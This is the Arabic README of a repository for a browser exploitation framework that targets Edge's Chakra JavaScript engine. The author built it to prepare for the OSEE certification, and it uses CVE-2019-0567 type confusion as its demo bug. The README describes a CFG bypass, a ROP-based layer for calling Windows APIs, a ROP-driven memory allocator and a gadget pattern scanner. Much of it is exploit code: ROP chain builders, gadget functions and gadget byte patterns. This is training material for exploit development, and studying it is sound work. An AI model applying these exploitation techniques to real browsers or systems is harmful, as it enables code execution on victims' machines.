
إطار عمل لاستغلال المتصفح لـ Chakra (Edge). كُتب كجزء من التحضير لشهادة OSEE. ثغرة تجريبية: CVE-2019-0567
يحتوي هذا المستودع على إطار عمل استغلال المتصفحات الذي كتبته للتحضير لدورة EXP-401 الخاصة بي. يستهدف الإطار محرك Chakra، الذي كان جزءًا من Edge حتى انتقاله إلى v8 في عام 2019.
الثغرة التجريبية المستخدمة في الإطار هي CVE-2019-0567 من نوع Type Confusion.

لتسهيل استخدام هذا الإطار، كتبت بعض الميزات الرائعة التي تجعل تنفيذ عمليات الهروب من صندوق الحماية (sandbox escapes) في المستقبل سهلة للغاية.
يتيح الإطار استدعاء واجهات برمجة تطبيقات Windows على مستوى عالٍ. يستخدم سلسلة ROP الخاصة بـ GetProcAddress لحل أي API، ويسمح بما يصل إلى أربعة معاملات.
function getcomputername_example(winapi, memory_access, memory_manager) {
// Allocate some space for our GetComputerNameA parameters
let buffer_size = 0x100;
let lpBuffer = memory_manager.malloc(buffer_size);
let nSize = memory_manager.malloc(0x8);
memory_access.write_dword(nSize, buffer_size);
let hresult = winapi.call_function("kernel32.dll", "GetComputerNameW", [lpBuffer, nSize]);
memory_access.hexdump(lpBuffer, buffer_size);
log("GetComputerNameA HRESULT: %p", hresult);
}
كان تجاوز CFG الذي استخدمته هو تقنية leafInterpreterFrame. من خلال التنقل عبر عدد قليل من الكائنات، يمكنك تسريب عنوان مكدس. ومن هنا، يمكنك البحث عن مؤشر دالة، واستبداله، والحصول على تنفيذ. كان نقلها إلى نسختي من Chakra أمرًا معقدًا بعض الشيء، لذا كتبت تدوينة حول ذلك هنا.
أراني صديق تقنية رائعة حقًا لجعل العودة إلى عالم JavaScript سهلة للغاية. إنهم يغلّفون تجاوز CFG في استدعاء [1].map()، مما يعني أنهم يستطيعون مواصلة التنفيذ في الدالة الأم - وهذا يجعل الكود يبدو أنظف بكثير. يمكنك رؤية مثال على ذلك هنا
تتطلب العديد من واجهات برمجة تطبيقات Windows محاذاة المعاملات والمخازن المؤقتة. سابقًا، كنت أستدعي واجهات برمجة تطبيقات Windows عبر وضع المعاملات في قسم .data - وكان ذلك مؤلمًا جدًا. في النهاية، كتبت مُخصص الذاكرة الخاص بي الذي يستدعي VirtualAlloc داخل ROP، ثم يسمح للكائنات الأخرى بـ malloc ذاكرة من المخزن المؤقت. سيعيد مُخصص الذاكرة دائمًا مخازن مؤقتة محاذاة أيضًا!
طريقة كتابة سلاسل ROP هي كما يلي:
let rop_buffer = this.memory_manager.malloc(0x400);
let rop = new ROP(this.aslr.get_chakra_base(), this.memory_access);
rop.pop_rcx(0x4141414141414141);
rop.getChain().map((gadget) => {
this.memory_access.write_pointer(rop_buffer, gadget);
rop_buffer += 8;
});
إن أدوات ROP الأساسية منفذة كدوال صغيرة:
pop_rcx(value) {
this.add_gadget(this.pattern_scan.scan_for_gadget(["pop_rcx", "ret"]));
this.add_gadget(value);
}
بهذه الطريقة، يمكننا بناء سلاسل أكثر تعقيدًا من الأدوات لتنفيذ إجراء عالي المستوى مثل pop r9. لم تكن هناك أداة جيدة، لذا تم تنفيذها كتركيبة من عدة أدوات:
pop_r9(value) {
this.pop_rax(value);
this.add_gadget(this.pattern_scan.scan_for_gadget(["mov_r9_rax", "add_rsp_20", "pop_rbx", "ret"]));
// Add filler for rsp
this.nop();
this.nop();
this.nop();
this.nop();
// Add filler for rbx
this.nop();
}
في محاولة لزيادة قابلية نقل الإطار، يوجد أيضًا ماسح أنماط ROP. يستخدم بدائية read لفحص سلسلة من البايتات التي تشكل السلسلة المطلوبة.
هناك أيضًا ذاكرة تخزين مؤقت عامة تعمل على تحسين أداء الماسح بشكل كبير.
get_pattern(instruction) {
let byte_patterns = {
"mov_r9_rax": [0x4c, 0x8b, 0xc8],
"add_rsp_20": [0x48, 0x83, 0xc4, 0x20],
"pop_rax": [0x58],
"pop_rbx": [0x5b],
"pop_rsp": [0x5c],
"pop_r8": [0x41, 0x58],
"pop_rdx": [0x5a],
"pop_rcx": [0x59],
"mov_rax_deref_rcx": [0x48, 0x8b, 0x01],
"add_rsp_0x18": [0x48, 0x83, 0xc4, 0x18],
"add_rsp_0x28": [0x48, 0x83, 0xc4, 0x28],
"mov_deref_rcx_rax": [0x48, 0x89, 0x01],
"mov_rcx_deref_rax_plus_20": [0x48, 0x8b, 0x48, 0x20],
"mov_deref_rdx_plus_30_rcx": [0x48, 0x89, 0x4a, 0x30],
"ret": [0xc3],
};
return byte_patterns[instruction];
}